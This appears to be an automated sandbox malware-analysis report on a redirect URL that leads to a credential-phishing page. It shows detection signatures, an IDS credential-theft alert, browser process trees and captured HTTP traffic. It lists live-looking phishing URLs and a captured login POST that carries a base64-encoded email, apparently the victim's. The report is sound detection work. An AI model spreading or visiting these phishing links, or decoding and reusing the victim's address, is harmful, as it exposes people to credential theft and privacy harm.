Edit tour

Windows Analysis Report
https://www.clubgets.com/pursuit.php?a_cd=%2A%2A%2A%2A%2A&b_cd=0018&link=https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m

Overview

General Information

Sample URL:	https://www.clubgets.com/pursuit.php?a_cd=%2A%2A%2A%2A%2A&b_cd=0018&link=https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m
Analysis ID:	1585350
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

Yara detected HtmlPhish54

AI detected suspicious Javascript

Detected hidden input values containing email addresses (often used in phishing pages)

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 1824 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6956 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2024,i,2423782842333832770,18388359593148438185,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6544 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.clubgets.com/pursuit.php?a_cd=%2A%2A%2A%2A%2A&b_cd=0018&link=https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.2.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.11.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.2.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.7.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 2 entries

Suricata Signatures

ETPRO PHISHING JS/PsyduckPockeball Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T14:48:39.324625+0100	2857090	1	Successful Credential Theft Detected	104.248.23.102	443	192.168.2.16	49714	TCP

HTTP traffic detected: POST /?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t HTTP/1.1Host: login.dfsign.netConnection: keep-aliveContent-Length: 4616Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://login.dfsign.netContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29tAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:48:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 9cfed0ad-8a57-4ee5-b78f-ae118be02e01x-ms-ests-server: 2.1.19683.6 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:48:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 7b866c36-357f-4005-8e72-b6baf1460601x-ms-ests-server: 2.1.19683.3 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:48:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 39bd20a1-9af1-4950-aae8-6898f529ef00x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:48:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: d36f2e2b-a52b-4186-aa7c-2e6c27ecb100x-ms-ests-server: 2.1.19683.3 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:48:52 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: no-store, no-cachex-ms-correlation-id: 4c706342-5a0e-4d2b-9571-d9930dbe7b03x-ua-compatible: IE=Edgex-cache: CONFIG_NOCACHEx-msedge-ref: Ref A: 4B95F268883F4CF38F7BE94B3D2B3699 Ref B: AMS231032605021 Ref C: 2025-01-07T13:48:52Zaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:48:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 31e4194b-1264-4a4b-8457-c054c1ec2700x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:49:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: d16582c8-f6c0-45e1-a0d5-dcb008b2e901x-ms-ests-server: 2.1.19683.3 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:49:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 84141ae5-cfc8-4a6d-9012-3021c3b4be00x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:49:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 1614fbee-e15b-410e-a625-37d3b931ed01x-ms-ests-server: 2.1.19683.3 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:49:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: ec3cadef-2ae6-4213-bcad-1658b844e801x-ms-ests-server: 2.1.19683.3 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:49:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 4eee31ad-0dd6-437c-baba-7530cc0f5300x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:49:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 9865c678-9f85-4a11-8e0b-63a76bb1f901x-ms-ests-server: 2.1.19683.3 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:49:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: d98496f6-c078-40fe-9d58-527a60166a00x-ms-ests-server: 2.1.19683.3 - NEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:50:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: b5ed9e63-c510-4ccf-b636-0131065bcf00x-ms-ests-server: 2.1.19683.3 - NEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:50:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 1f7e2e71-f347-40a8-9c54-81066b50a900x-ms-ests-server: 2.1.19683.3 - NEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 07 Jan 2025 13:50:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: eda89c91-bd4a-4409-b9e0-6a93bc87d000x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal60.phis.win@18/71@34/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2024,i,2423782842333832770,18388359593148438185,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.clubgets.com/pursuit.php?a_cd=%2A%2A%2A%2A%2A&b_cd=0018&link=https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2024,i,2423782842333832770,18388359593148438185,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
